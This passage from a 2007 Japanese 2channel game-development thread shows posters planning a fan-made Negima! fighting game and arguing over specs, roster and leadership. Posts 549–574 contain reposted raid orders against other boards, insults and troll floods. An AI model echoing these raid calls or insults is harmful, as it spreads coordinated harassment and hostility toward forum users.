485 :名前は開発中のものです。:2007/01/20(土) 13:19:32 ID:4XFImATE
いや、意見は言わないと物事は進まない。仕様を決める段階では何を言っても自由だろ。制作者はその意見に「できる」「できない」

486 : ◆57U1O5h1BM :2007/01/20(土) 13:20:43 ID:TRUVzbwt
>>483
はい可能です、一からやり直すつもりです。

487 :485:2007/01/20(土) 13:24:55 ID:4XFImATE
>>482
すまん。文章読み違えた。>>485はスルーして下さい(ちゃんと書き込まれてないし…)


488 :名前は開発中のものです。:2007/01/20(土) 13:26:07 ID:kxtSPet4
その「通常立ち」のサイズは?
背景も3種類挙げているが640*480の場合は少しも動かない背景になりますが。

出来上がった「骨格」が歪んでいたら修正はきかないと思いますよ。
とりあえず動くものを早く触りたいというのは判りますが名無しがごちゃごちゃ
言わない方がいいと思います。

489 : ◆57U1O5h1BM :2007/01/20(土) 13:30:51 ID:TRUVzbwt
とりあえずどんな感じの格ゲーにするかだよね。
MvsCみたいなのか、CvsSみたいなのか、それ以外のなのか。

490 :名前は開発中のものです。:2007/01/20(土) 13:38:35 ID:4XFImATE
>>488
>とりあえず動くものを早く触りたいというのは判りますが名無しがごちゃごちゃ言わない方がいいと思います。
この部分は余分でしょ。ごちゃごちゃ言って、それの利点、ダメな点を挙げて、どんどん決めていかないといつまでたっても仕様は決まらないよ。

491 :名前は開発中のものです。:2007/01/20(土) 13:44:22 ID:4XFImATE
>>489
MvsC→マーベルvsカプコン
CvsS→カプコンvsSNK
で合ってる?
ドラゴンボールに一票。

492 : ◆57U1O5h1BM :2007/01/20(土) 13:46:39 ID:TRUVzbwt
合ってるよ。
あくまで例として上げただけだから気にせず。

ドラゴンボールっていうといつの作品?
自分はスーファミくらいしかやったことないなぁ。

493 :名前は開発中のものです。:2007/01/20(土) 14:18:06 ID:IBWfAnwI
>>490
本音を言うと、ハイレゾ云々で揉めていたので火消しがしたかっただけなんですが……

背景やキャラのサイズは、適宜、拡大縮小すればいいんですよ。
モニタとの比率が合っているなら、とりあえず写真でもいい。
本番で作る時に一番相応しいもので固定するという感じで。

誰かが飛び入りで参加したい、という時にも自由に作ってもらえますし。

とはいえ、考え方は色々ですし、あくまで一意見として聞いて頂ければ結構です。
自分もゲーム製作で苦しんだクチでして、老婆心ながら書き込んだまでですから。

494 :名前は開発中のものです。:2007/01/20(土) 14:21:56 ID:4XFImATE
>>492
アルティメットバトル22/27までやった。あれは良かった。キャラ同士の間隔によってキャラ自体と視野が拡大縮小するから一画面で近接戦闘と遠距離攻撃の両立が可能になった。ネギま!にも合ってるんじゃない?

エネルギーゲージのことを言ってるんだよね?
ダメージ食らったり、攻撃したりするとゲージがたまるか、ボタンを押しっ放しでゲージをためるか…

495 :名前は開発中のものです。:2007/01/20(土) 14:48:15 ID:z8fKn1at
なんだか一気に仕様を決める方向に進んでますが
結局誰が仕様を決定するんですかね?

496 :名前は開発中のものです。:2007/01/20(土) 16:53:10 ID:4XFImATE
多数決!

497 :名前は開発中のものです。:2007/01/20(土) 17:17:14 ID:z8fKn1at
多数決だって…
ありえねぇ

498 :名前は開発中のものです。:2007/01/20(土) 20:12:27 ID:FvuOER7V
>>495
製作側の技量によって仕様も変わるだろ。
仕様決定のための判断材料も揃ってないのにそんなの論じてどうする。

499 ::2007/01/20(土) 20:14:18 ID:FvuOER7V
あちゃーアンカーミス。
>>496へのレスね。

500 :名前は開発中のものです。:2007/01/20(土) 20:34:19 ID:xuBSdm10
97氏は今リアルで大切な事情があって製作を中断しているだけだと信じている
いつか進化したネギ格と一緒に戻ってきてくるだろうと思いたい

501 :名前は開発中のものです。:2007/01/20(土) 21:33:57 ID:uzloGrhF
進化しすぎて、後方視点になってたらどうする?

502 :名前は開発中のものです。:2007/01/20(土) 22:20:01 ID:xuBSdm10
それはそれでありかもな

503 :名前は開発中のものです。:2007/01/20(土) 22:42:17 ID:kxtSPet4
>>494
ドラゴンボールのシステムは難しいとおもうぞ。あれは登場キャラが全員
空中移動可能だからこそ良い訳で、ネギまじゃ移動出来ないキャラが圧倒
的不利になるしね。

504 :名前は開発中のものです。:2007/01/20(土) 23:44:31 ID:QpZDWp0h
そもそも、出るキャラ何人にするの?
全員出すのかな?

505 :名前は開発中のものです。:2007/01/21(日) 01:36:50 ID:yI89DOjb
まあ確定?
ネギ アスナ エヴァ 茶々 古 刹那 楓 龍宮 超

中程度。魔法バレ、特殊技能含めて格闘ゲーふうに仕上げればありか。
このか 夕映 パル ちう 美空 朝倉 のどか 葉加瀬
(図探3人組ならあるいは?)

厳しいか?
さよ 裕奈 亜子 アキラ 柿崎 釘宮 まき絵 桜子 千鶴 風香 史伽 いんちょ 夏美 五月

3−A以外(とにかく羅列しただけ)
ナギ アルビレオ 小太郎 高音 愛衣
高畑 刀子等、魔法先生たち
フェイト 月詠 千草 ヘルマン
ガトウ 詠春 ネカネ アーニャ
その他、武道大会に出た雑魚、田中さんロボ

勝手な解釈ですまん。アニメネギまの最終話とか、
ビブリオンとかまぜればいろいろ伸びるんだろうけど、
こっから煮詰めていくたたき台ってことで

506 :名前は開発中のものです。:2007/01/21(日) 10:02:56 ID:+sd7Udyg
龍宮は微妙でしょ
MUGENの沢庵和尚みたいな感じにするのか(笑
小太郎とアルビレオ入れてほしいけど、技のバリエーションとか声とか…

507 :名前は開発中のものです。:2007/01/21(日) 10:49:59 ID:uyQPClRT
誰を、何人作るかは作る人の勝手でしょ
誰が作れるか、も作る人が考えれば五月だってバリバリの戦闘キャラになれる

508 :名前は開発中のものです。:2007/01/21(日) 11:46:17 ID:QH/pO5bM
でも、そんなこと言ってたら企画できないぞ。
とりあえずでもいいから出るキャラひとまず決めて、それに合った仕様を考えた方がいいと思う。


509 :名前は開発中のものです。:2007/01/21(日) 13:16:11 ID:29egopjo
企画と仕様は別だと思うがな。よく判っていない子は発言を控えてくれないか?

510 :名前は開発中のものです。:2007/01/21(日) 13:16:29 ID:pttDIjTa
つ【仕様は製作に参加しない名無しが理想論で決めるものではない】

511 :名前は開発中のものです。:2007/01/21(日) 13:36:51 ID:ztsc+TSa
企画(?)や仕様の話をここまでしているのに発言がない261氏。
作る気あるんでしょうか?

512 :名前は開発中のものです。:2007/01/21(日) 14:06:11 ID:f4p6/U/t
企画厨繁殖

職人叩き

HSPウィルス

過疎化

この繰り返し。

513 :名前は開発中のものです。:2007/01/21(日) 14:09:17 ID:f4p6/U/t
スキルがあれば参加する。
スキルが無ければ黙る。

みんながどちらかを選択できれば、このスレは平和。

514 :名前は開発中のものです。:2007/01/21(日) 14:16:06 ID:ztsc+TSa
そうなると・・・誰も発言しなくなるな。まぁそれも良いかもねw

515 :名前は開発中のものです。:2007/01/21(日) 16:05:29 ID:TitHxdMy
刀子、月詠は刹那と同じ神鳴流剣士なので一部の技以外は刹那の技のアレンジで対応できそう。
いいんちょは修学旅行の時雪広あやか流合気柔術「雪中花」を出してたので一応格闘はできそう。

516 :名前は開発中のものです。:2007/01/21(日) 20:28:19 ID:mnEMbZm9
>つ【仕様は製作に参加しない名無しが理想論で決めるものではない】
名無しが意見出すなって言うなら2chにスレを立てる意味が無い

517 :名前は開発中のものです。:2007/01/21(日) 20:34:34 ID:2UnteXJT
だぁから、バリバリ企画出すのが名無しであって
その中から、出来る出来ないを判断して仕様を纏めるのがコテだろ。






って、ばっちゃが言ってた

518 :名前は開発中のものです。:2007/01/21(日) 20:54:51 ID:ofK0Bh1t
へたれな>>517に代わって俺が言ってやる


主体性の無いコテいらね。

519 :名前は開発中のものです。:2007/01/21(日) 20:59:48 ID:ztsc+TSa
>>516
まぁ元々ココは2D格ゲーを作ろうと立てられたスレですらないんですけどねw

520 :名前は開発中のものです。:2007/01/21(日) 21:49:55 ID:mnEMbZm9
>>519
スレ主の言い方から見るに冗談で言ったんだろうな・・・
スレタイには何も書いてないから2Dもおkだろう

521 :名前は開発中のものです。:2007/01/21(日) 22:00:43 ID:uyQPClRT
ゲ製作技術板は勘違いした厨が迷い込んでくるから困る
まあとりあえず作ってる人の意見待ちだな

522 :名前は開発中のものです。:2007/01/21(日) 22:01:24 ID:jylEqjWC
>>520新参

523 :名前は開発中のものです。:2007/01/21(日) 22:08:29 ID:XfL0Wdk6
MVSCに1票

524 : ◆57U1O5h1BM :2007/01/21(日) 22:14:06 ID:JRdZXzZc
いっその事スマブラみたいな感じにしたいだけどどうかな。
オブジェクト類があって、環境生かして戦う感じ。

プログラムも自分持ちでやるよ、スクリプトエンジンも作ってあるから
それをマージして他の人たちに弄ってもらう。
それでどうかな?

525 :名前は開発中のものです。:2007/01/21(日) 22:18:56 ID:ztsc+TSa
>>◆57U1O5h1BM
ぢゃそれで頑張ってみてくださいw

526 :名前は開発中のものです。:2007/01/21(日) 22:24:17 ID:vKSxkKdG
>>516
半年ROMれ。

527 :名前は開発中のものです。:2007/01/21(日) 22:41:25 ID:8F8GKx8Y
>>524
そっちのほうが面白いかもね
絵もそんなに枚数要らないし、2VS2とかで

528 :名前は開発中のものです。:2007/01/21(日) 22:46:55 ID:pttDIjTa
516みたいなSEがいるんだよ…現場はとんだ迷惑してる。
名無しが口出して良い領分は企画にまで。ここのスレタイがすでに企画の方向性を決めている。
そこから先は現場(製作スタッフ)が決めること。お前じゃない。



529 :名前は開発中のものです。:2007/01/21(日) 23:10:27 ID:ztsc+TSa
ってか◆57U1O5h1BMがスマブラみたいな感じでって言ってんだからそれで
良いんじゃないの?プログラムも自分でやるって言ってるし。
他に手伝いが欲しいならココで募集すりゃあ良いわけでしょ?

530 :名前は開発中のものです。:2007/01/21(日) 23:23:05 ID:QH/pO5bM
スマブラみたいにするなら、キャラドット、頭身縮めた方がいいかも。
3頭身くらい?
まあ、俺ドット描けないからそう思っただけです。

531 :名前は開発中のものです。:2007/01/21(日) 23:25:30 ID:mnEMbZm9
>>522
1スレ目から居るのに新参といわれてもなぁw

>>528
HSP禁止にしたのはお前らだろ?
参加できないようにして口出ししたければ製作側に行けって無理な話だ罠

ゲームも作ったこと無い奴が叩いてくるスレだからそりゃ荒れるわけだw

532 :名前は開発中のものです。:2007/01/21(日) 23:28:53 ID:TdRC23vw
作りたいものが違うならそれぞれプロジェクト立ち上げればいいじゃん
そういうの推奨してるスレでしょここは

533 :名前は開発中のものです。:2007/01/22(月) 00:22:28 ID:H1Jy8xG6
HSP使いたいんなら別口でコテ付けて企画立ち上げればいいのにね。
何を言っているんだろうか…彼は。
スレ内に同じ指向の企画が複数存在しても問題ないのに。


534 :名前は開発中のものです。:2007/01/22(月) 00:24:55 ID:cfOMUi8g
トリつけて、ウィルスが入って無いのが分かれば起動してもいい

535 :名前は開発中のものです。:2007/01/22(月) 00:35:18 ID:LxWa541Q
>>531
見るに耐えないので苦言を。
今スレが荒れ気味になっている原因はお前。
トリつけて別企画宣言してそれから仕様の話しろ。
そしたら丸く収まる。それくらい分かれ。

536 :名前は開発中のものです。:2007/01/22(月) 00:52:41 ID:hgpin2RK
たたき台作っただけなのに何故ここまで荒れるのか。

537 :名前は開発中のものです。:2007/01/22(月) 00:58:14 ID:H1Jy8xG6
え…みんな煽って暇つぶしてるだけでしょ?

538 :名前は開発中のものです。:2007/01/22(月) 00:59:04 ID:FpQekJAq
おういえーおういえー

539 :名前は開発中のものです。:2007/01/22(月) 01:06:12 ID:wNoKWKsL
誰がいつどのようなたたき台を作ったというんだ?
今まであったのは只の妄想だけで、たたき台なんて呼べるレベルじゃないでしょ。
ってかコテが方向性を示したんだから黙って待ちましょうよ。
コテとは違う方向性のモノを作りたいならコテつけて作ればいいんだし。
名無し同士が言い争ってるだけじゃ何もはじまらんぞ

540 :名前は開発中のものです。:2007/01/22(月) 01:09:20 ID:hgpin2RK
そうだね。全面的に正しい。

541 :名前は開発中のものです。:2007/01/22(月) 02:35:45 ID:Uq2Gy+WX
        ,, ―- 、_
      /        '' - ,,
    /             '' - ,,
   /                 ヽ
  i           / /ヽ    !
  ,i          ./ / ''―、   !
  i     ,、 n て'' ノノ    ヾ   !
  i    ノノノ ノ ノ ''´      !  /
 U   j   ' ´    ノ (    ヽ |
 >-,,  /  ,,=━━・!' ,ノ━== ! ノ
 !・  ヽ |  ’ニンniii、 :::::i/ィ7iii=  i )
 \(てi iヽ   ^' ~     -'  /}
  `i_   、 \        i_    l_j
   `┐ i    /(,,, ,n 〉   /\\   たたき台っていうレベルじゃねぇぞ!
  ̄ ̄へ    ! '   T''    l |  \
   |  ! i    ン=ェェi) i ソ )
   |  i´\! ,, -ェ`、_ン ノノ 〈
   |  |  \\,, `―''´//  |
   |  つ   !、_'''''''''''''  /   7

542 :名前は開発中のものです。:2007/01/22(月) 06:45:57 ID:TAoPOcKy
>>524
面白いと思います。
キャラを作ってみたいのでサンプルを見せて頂けますか?

543 :名前は開発中のものです。:2007/01/22(月) 10:38:08 ID:TtDSjBep
>>524の案に賛成
そっちのほうがネギまらしい
とりあえずSampleかSourceを公開してほしい

#が、格ゲのこのスレとは少し方向が違う気がする


544 :名前は開発中のものです。:2007/01/22(月) 11:10:59 ID:wNoKWKsL
そろそろ319氏復活してくれないかな

545 : ◆57U1O5h1BM :2007/01/22(月) 11:15:10 ID:o3NPTxl0
まだ全然作ってないからちょっと見せられない。
とりあえず前に作ってたアクションゲームのソースを流用してやるところ。
ソース公開は微妙、スクリプトの方を除けば他は公開してもいいんだけど。

546 :542:2007/01/22(月) 12:59:13 ID:TAoPOcKy
>>545
でしたら、ゲームで使うキャラのサイズを教えて頂けますか?
それが分かればこちらも大体の作業ができると思います。

547 :名前は開発中のものです。:2007/01/22(月) 13:53:14 ID:TtDSjBep
>>545
キャラは3D?2D?
技なんかのmotionはどうなるのかな?
前作ってたアクションゲうpキボンヌ


548 :名前は開発中のものです。:2007/01/22(月) 14:34:11 ID:CU3b2ph/
どうせVIPのキモヲタとかニートどもが祭り祭りって言って荒らしてるんだろ?
あいつら本当に能が無いなw
なあ?>>531>>535
VIPからの荒らしご苦労さんw

549 :名前は開発中のものです。:2007/01/22(月) 14:38:45 ID:YQXN6ctZ
   732 名前: 閉鎖まであと 1日と 6時間 [] 投稿日: 2007/01/22(月) 14:37:30.74 ID:BM/SwfMg0

ネギま!の格ゲーを作るスレ
http://pc10.2ch.net/test/read.cgi/gamedev/1162039795/

> 548 名前: 名前は開発中のものです。 投稿日: 2007/01/22(月) 14:34:11 ID:CU3b2ph/
> どうせVIPのキモヲタとかニートどもが祭り祭りって言って荒らしてるんだろ?
> あいつら本当に能が無いなw
> なあ?>>531>>535
> VIPからの荒らしご苦労さんw

突撃指令が出てます

550 :名前は開発中のものです。:2007/01/22(月) 14:44:39 ID:AFwlQWAx
見るからに確信犯だね。もしくは自演。ツマンネ

551 :名前は開発中のものです。:2007/01/22(月) 15:03:28 ID:er5Nu7yo
ジエンツマンネ

552 :名前は開発中のものです。:2007/01/22(月) 15:19:38 ID:CTEH4NMI
自演乙^^

553 :名前は開発中のものです。:2007/01/22(月) 19:52:23 ID:xoynODFr
>>549-552
お前ら何言ってるかわからんが、VIPの馬鹿が荒らしに来たってことだろ?
自演乙とか言って誤魔化してる辺り、お前らもVIPPERか?
そろいもそろって間抜けな発言w
昔のVIPはこんな変な奴じゃなかったのになぁ
VIPへカエレ。もう荒らしに来るなカス

554 :名前は開発中のものです。:2007/01/22(月) 20:19:55 ID:8acneGgU
>>553
お前はVIPの怖さを知らないだろ・・・
VIPを叩くような発言をすると突撃されるんだよ

>>550->>552も逆効果なこと書きやがって・・・

555 :名前は開発中のものです。:2007/01/22(月) 20:26:43 ID:xoynODFr
■■■■■■■■■■■■■■【伝令】■■■■■■■■■■■■■■
           そろそろVIPを潰します
           2月5日20時から突撃です
           2chからVIPを追い出せ!
              突撃先⇒http://ex17.2ch.net/news4vip/
■■■■■■■■■■■■■【突撃命令】■■■■■■■■■■■■■

556 :名前は開発中のものです。:2007/01/22(月) 20:27:49 ID:xoynODFr
これ貼って回ってるのお前らだろ?

557 :名前は開発中のものです。:2007/01/22(月) 20:47:30 ID:PTBbMn7/





      V   I   P   か   ら   き   ま   す   た






558 :名前は開発中のものです。:2007/01/22(月) 20:47:51 ID:1JjIPWpI
       /      \
      /  ─    ─\     VIPからきましたwwwwwwwww、と・・・
    /    (●)  (●) \
    |       (__人__)    | ________
     \        ̄    ./ .| |          |
    ノ           \ | |          |  
  /´                 | |          |
 |    l                | |          |
 ヽ    -一ー_~、⌒)^),-、   | |_________|
  ヽ ____,ノγ⌒ヽ)ニニ- ̄   | |  |


      / ̄ ̄ ̄\
    / ─    ─ \
   /  (●)  (●)  \.  はぁ・・・
   |    (__人__)    | もう寝るか・・・
   \    ` ⌒´    /
   /           \


VIPからきますたwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww


559 :名前は開発中のものです。:2007/01/22(月) 20:48:47 ID:1JjIPWpI
VIPを馬鹿にしたことを自演だったかのように誤魔化してるお(^ω^)
妄想だけでゲームを作ろうとしてるキモヲタに叩かれたままでいいのか?
⊂二二二( ^ω^)二二⊃突撃だお

ネギま!の格ゲーを作るスレ
http://pc10.2ch.net/test/read.cgi/gamedev/1162039795/

548 名前は開発中のものです。 2007/01/22(月) 14:34:11 ID:CU3b2ph/
どうせVIPのキモヲタとかニートどもが祭り祭りって言って荒らしてるんだろ?
あいつら本当に能が無いなw
なあ?>>531>>535
VIPからの荒らしご苦労さんw

552 名前は開発中のものです。 2007/01/22(月) 15:19:38 ID:CTEH4NMI
自演乙^^

553 名前は開発中のものです。 sage 2007/01/22(月) 19:52:23 ID:xoynODFr
>>549-552
お前ら何言ってるかわからんが、VIPの馬鹿が荒らしに来たってことだろ?
自演乙とか言って誤魔化してる辺り、お前らもVIPPERか?
そろいもそろって間抜けな発言w
昔のVIPはこんな変な奴じゃなかったのになぁ
VIPへカエレ。もう荒らしに来るなカス

554 名前は開発中のものです。 sage 2007/01/22(月) 20:19:55 ID:8acneGgU
>>553
お前はVIPの怖さを知らないだろ・・・
VIPを叩くような発言をすると突撃されるんだよ
>>550->>552も逆効果なこと書きやがって・・・

560 :名前は開発中のものです。:2007/01/22(月) 20:49:49 ID:aeW+iwOF
昔のVIPは突撃にも全力だったんだがな
今のVIPにクオリティは望めないか・・・・・・・

561 :名前は開発中のものです。:2007/01/22(月) 21:00:02 ID:ewMqhLNx
だって今の凸って大体誘導の私怨だもん

562 :名前は開発中のものです。:2007/01/22(月) 21:57:39 ID:KZTHR5QC
      V   I   P   か   ら   き   ま   す   た

563 :名前は開発中のものです。:2007/01/22(月) 22:02:28 ID:unXyQFU3
         ___
       /::::::::::::::::\        この世こそ地獄だお 金・コネ・権力… 
      /:::::─三三─\         こんな腐った社会など滅ぼしてしまうお…   
    /:::::::::(○)三(○).\
/⌒)⌒)⌒.:::::::::: (__人__) :::::: \   /⌒)⌒)⌒)
| / / /..    ` ⌒´    | (⌒)/ / / /,,-''ヽ、
| :::::::::::(⌒)          /  ゝ ::::::.,,-''"    \
|     ノ           \  /_,-'"        \
ヽ    /             ヽ /\           \
 |    |        __   //\\           \
             /|[]::::::|_ / \/\\         /
           ./| ̄ ̄ ̄ ̄ //\ \/  \      //    ___
         |  |:::「「「「「「 / \/\  /\\   /:::/   ./|    |__
       _..|  |:::LLLLL//\ \/  \/\\/::::::/  /  | ロ  .|lllllllllllll
      / llllll|  |:::「「「「 / \/\  /\ .\/ ./::::::::/  / ./ .|    |lllllllllllll


564 :名前は開発中のものです。:2007/01/22(月) 22:13:53 ID:Wxl8x9aX
VIPからきてやった。感謝しろよ

565 :名前は開発中のものです。:2007/01/22(月) 22:15:30 ID:dGgD4R0Z
VIPって何?

566 :名前は開発中のものです。:2007/01/22(月) 22:16:59 ID:ZmJ2IRpG
突撃ってこんなあっさりした感じなんだぁ〜

567 :名前は開発中のものです。:2007/01/22(月) 22:18:58 ID:yRL4P7kj
ところで、VIPから来たんだが最初からこのスレ読んでみた。

うん。製作者がんばれ!

568 :名前は開発中のものです。:2007/01/22(月) 22:24:48 ID:rd7lgjFp
ようこそ、まぁお茶でも飲んでいって下さい。

つ旦

569 :名前は開発中のものです。:2007/01/22(月) 22:29:24 ID:Wxl8x9aX
>>567
住人乙wwwwwwwwwwwwwwwww

570 :名前は開発中のものです。:2007/01/22(月) 22:31:09 ID:3/KFbo37
VIPからきますた





完成楽しみにしてるぜ!

571 :名前は開発中のものです。:2007/01/22(月) 22:40:48 ID:SJfhiBpS
             )
             (
         ,,        )      )
         ゙ミ;;;;;,_           (
          ミ;;;;;;;;、;:..,,.,,,,,
          i;i;i;i; '',',;^′..ヽ
          ゙ゞy、、;:..、)  }
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         /;:;":;.:;";i; '',',;;;_~;;;′.ヽ   
        ゙{y、、;:...:,:.:.、;:..:,:.:. ._  、}
        ".¨ー=v ''‐ .:v、,,、_,r_,ノ′
       /;i;i; '',',;;;_~⌒¨;;;;;;;;ヾ.ミ゙´゙^′..ヽ 
       ゙{y、、;:...:,:.:.、;、;:.:,:.:. ._  .、)  、}
       ".¨ー=v ''‐ .:v、冫_._ .、,_,,、_,,r_,ノ′
      /i;i; '',',;;;_~υ⌒¨;;;;;;;;ヾ.ミ゙´゙^′.ソ.ヽ
      ゙{y、、;:..ゞ.:,:.:.、;:.ミ.:,:.:. ._υ゚o,,'.、)  、}
      ヾ,,..;::;;;::,;,::;):;:;:; .:v、冫_._ .、,_,,、_,,r_,ノ′


572 :名前は開発中のものです。:2007/01/22(月) 22:41:24 ID:CTNTCoQX
            /  /   / .:.l   .l .:.l:..\:.:  ヽ ヽ
             〃 .:.,′.:  ! :.:.l ...:!.:|:...:.|:.:.. ヽ:.:.  ',: ハ
              /{ .:.;ィl  .: . :| :.:.|:.i.:.:i.:.|:.:.:.|ヽ:.:.:.l ',:.:.. l:...:.ハ
.        、   ○(゚ )=≦|:....:.:!.:.|:. :.:.|:.l :.j_:j:.:.:!| V:丁:!`:.:. l..:l:.N
      _ ≧==イ:.:7''>‐|.:!.::.| :.|:.: 斗七:./ |.:.リ  ィ=ミ:.lヽ:.:.j:.:|:.!
     / .:_.:.:._ノ:.ノ:./:,':.:ハ.:! :.| :.l:.:.:.リV__/ l/   {:r1リハ .:/:.:|リ
    ' ̄¨フーァ., イ:.:/:.,':.:.:.∧ヘ:.i:.:ヽ:.{y'"⌒`     ゝ'- {.:j/|lイ
      〃/´/´.:./ :,'.:.:.:/:.:{.fヘハ:. .:{ヽ .::::::.    ' :::: ル!:.|:.l   
      {!/ イ:.:.:./:.:/! : /:.:.:.ゝ=テヽ.:.'.,       r ア  ,イ:.,':.:! |     VIPからきますた♪
      '( j:.:.:/ル l :.:;:.:.:./:.:.:/:.:.:ハ.:.:ト         /:.〃:/j/  
.       ノ/ '  ヽ.:!/´ ̄ ̄`寸\!_ : `7 ーイ:/j:./ }/



573 :名前は開発中のものです。:2007/01/22(月) 23:30:54 ID:Yd80jNvz
VIPからきますた
仲良くしようね☆

574 :名前は開発中のものです。:2007/01/22(月) 23:43:52 ID:rd7lgjFp
じゃあ俺もVIPから来ました。

575 :名前は開発中のものです。:2007/01/23(火) 16:14:00 ID:QyWifUh+
煽り耐性低過ぎな奴が居るな
荒らしに反応するのは荒らしと変わらん

576 :名前は開発中のものです。:2007/01/23(火) 19:47:01 ID:mMGJt2Ln
まあいいじゃまいか
今日でVIP閉鎖だし



たぶん閉鎖しないけど

577 :名前は開発中のものです。:2007/01/23(火) 20:10:49 ID:0cW6M1hS
荒れた原因はVIPの書き込みじゃない
悪さをしてるのは主にスレ住人
なんにしても粘着はスルーするのがセオリー

578 :名前は開発中のものです。:2007/01/23(火) 20:45:16 ID:/GoRihGM
ってか結局ネギま格ゲーはどうなってんの?

579 :名前は開発中のものです。:2007/01/23(火) 21:11:52 ID:0cW6M1hS
恐らくだが、プロジェクトが複数動いている模様

1.3Dモデルを使った2D格ゲー(まとめサイトあり)
http://www16.atwiki.jp/negima_97/pages/1.html

2.◆57U1O5h1BM氏(作画)と319氏に(プログラム)よる2D格ゲー

3.HSPプログラマーが素材を拝借して独自に格ゲーを製作予定(?)

4.◆57U1O5h1BM氏(作画、プログラム)と542氏(作画?)によるスマブラ風ゲーム


カオス過ぎて企画が生きているのかどうか判断が難しい
詳細が知りたければ>>1から読んでくれ

580 :名前は開発中のものです。:2007/01/23(火) 22:27:17 ID:47Ci6e1n
まぁ振っておいてなんなんだが・・・
2の319氏はプログラムではなく背景。しかも既に引退宣言済。プログラムは
219氏だと思う。
3の独自にはココとは関係なく趣味でやってるだけっぽいので除外した方が。
現状で動いているとすれば4ぐらい。

578で聞いたのは◆57U1O5h1BM氏のはどうなってんのかな〜って事でして。

581 :名前は開発中のものです。:2007/01/23(火) 23:21:39 ID:0cW6M1hS
>2の319氏はプログラムではなく背景。しかも既に引退宣言済。プログラムは219氏だと思う。
>>580すまない、迂闊だった

◆57U1O5h1BM氏についてはこちらも動きを待っている所
現状は他の職人も含めて動向を見守るしか無いな

582 :名前は開発中のものです。:2007/01/25(木) 08:12:28 ID:2V1kgpiJ
動向を見守るも何も…お前元から何もする気ないんだろうし、ゲームできるのを乞食のように待ってるだけじゃん。

583 :名前は開発中のものです。:2007/01/25(木) 09:23:57 ID:sQ7dlNWG
焼け野原→停滞期→復興の兆し
の流れだろうが。空気嫁。

584 :名前は開発中のものです。:2007/01/25(木) 10:05:24 ID:pd4qDIp7
(焼け野原→停滞期→復興の兆し→爆弾投下)*n
の無限ループですけどねw

585 :名前は開発中のものです。:2007/01/25(木) 10:18:49 ID:bhQzi38j
オナニー設定を押し付けあっているうちは開発が始まらないw

586 :名前は開発中のものです。:2007/01/25(木) 11:22:48 ID:sQ7dlNWG
>>584
開発が始まることのない無限ループw

587 :名前は開発中のものです。:2007/01/25(木) 11:41:50 ID:DXONeTC7
ゲ製でのお決まりパターンだな

588 :名前は開発中のものです。:2007/01/25(木) 12:41:43 ID:j1Nv6j/8
昼間から随分と荒れてますなぁ

まぁ実際開発は進んでないみたいだし仕方ないかもな

589 :名前は開発中のものです。:2007/01/25(木) 13:03:24 ID:sQ7dlNWG
荒れてる?…最近余程のことでないかぎり荒れてると思わなくなってる
自分がいる。

590 :名前は開発中のものです。:2007/01/25(木) 13:12:42 ID:j1Nv6j/8
荒れてるという表現は間違ってたかも。荒んでるかな

591 :名前は開発中のものです。:2007/01/25(木) 13:26:19 ID:4CZ5GpW8
結局このスレは誰が何を担当して開発してるん?
プログラマーと絵描きはいるのか?

もしかして自称企画屋だけ?

592 :名前は開発中のものです。:2007/01/25(木) 13:40:20 ID:j1Nv6j/8
579が書いている通りかと

593 :名前は開発中のものです。:2007/01/25(木) 13:41:57 ID:pd4qDIp7
>>591
プログラマーはたくさん居て絵関連でもめてる。
というか、もめてた。

594 :名前は開発中のものです。:2007/01/25(木) 14:11:30 ID:j1Nv6j/8
プログラマーなんていたか?HSP使いはプログラマーとは言わないと思うぞ

595 :名前は開発中のものです。:2007/01/25(木) 14:17:12 ID:pd4qDIp7
このスレの住人はどこまでHSPが嫌いなんだよwww

トリ付けてる絵師や数字コテとかプログラムできるって言ってなかったか?

596 :名前は開発中のものです。:2007/01/25(木) 14:40:43 ID:j1Nv6j/8
2人は沢山とは言わないんじゃないかなwww

597 :名前は開発中のものです。:2007/01/25(木) 23:00:39 ID:jbefIcY6
そういえば261氏はまだココ覗いてるのかな?

598 :名前は開発中のものです。:2007/01/26(金) 00:03:30 ID:gXeiDA2F
こうして話題はループしていくのです。











というか職人探ししてるやつは釣り?

599 :名前は開発中のものです。:2007/01/26(金) 00:33:55 ID:8r5tJxDK
いや別に釣る気はないんですが、なんか動かないなぁ〜と。
職人がココで発言してくれればまた動くんじゃないかなと。

まぁ妄想企画者ばかりの流れはゴメンなんですがw

600 :名前は開発中のものです。:2007/01/26(金) 00:43:15 ID:+mfvNa0h
スレ見る限りほぼ100%完成しなであろうから、企画厨同士で妄想垂れ流して語り合ってればいいと思うであります。オス!

601 :名前は開発中のものです。:2007/01/26(金) 01:28:59 ID:8r5tJxDK
まぁ現状のままでは無理でしょうね;;;

他で成功している企画モノって、やっぱり引っ張っていくリーダー的存在が
いるみたいだし。あ・・・実作業をしないリーダーなら要りませんからねw<企画厨お断り

602 :名前は開発中のものです。:2007/01/26(金) 03:08:41 ID:/UUS8xFs
皆で一斉に叩く→叩かれた奴が恨む→荒らしに変身

603 :名前は開発中のものです。:2007/01/26(金) 08:31:05 ID:nOs5HVXt
「荒らしに戻る」が正確な表現。

604 :名前は開発中のものです。:2007/01/26(金) 11:53:58 ID:/nw5eQxg
どうしてもココでネギま格ゲー作らせたくない奴がいるみたいだな。

605 :名前は開発中のものです。:2007/01/26(金) 12:34:30 ID:FCF34egC
書き込んでる人数が少数な為、誰が荒らしているかすぐに判る
荒らしはスルーしておけばいい


というわけで、荒らし対策の会議はここまでにして流れを変えないか?
殺伐が過ぎると製作の邪魔になるかもしれん

606 :名前は開発中のものです。:2007/01/26(金) 13:00:58 ID:/nw5eQxg
荒らしはスルー。まぁ基本といえば基本なんだが、現状その荒らしらしい奴しかイナイって感じなんですよね。

話題を変えるにしても職人がいないんじゃ無理なんじゃない?

607 :名前は開発中のものです。:2007/01/26(金) 15:00:18 ID:Q3gQzCoN
素直にMugenでつくりゃいいのにw


608 :名前は開発中のものです。:2007/01/26(金) 15:47:45 ID:/nw5eQxg
無限厨は巣に帰れ

609 :名前は開発中のものです。:2007/01/26(金) 16:10:20 ID:iV9MpKqA
案ですけどアスナのマジックキャンセルやさよとか再現するのに体力ゲージと魔法ゲージ
気力ゲージを作って、どれか一つ0にすると勝利する。
ボタンもゲージに対応したものを使ったボタンがあり、技を使うとゲージを消費する
例えばアスナに魔法ボタン系コマンドは効かないとか、さよの場合はMPゲージ1本だけで、
逆に魔法ぼボタン系コマンドのみ効果があるとか。
どうおもいますか?
 




610 :名前は開発中のものです。:2007/01/26(金) 16:19:53 ID:sHEvklns
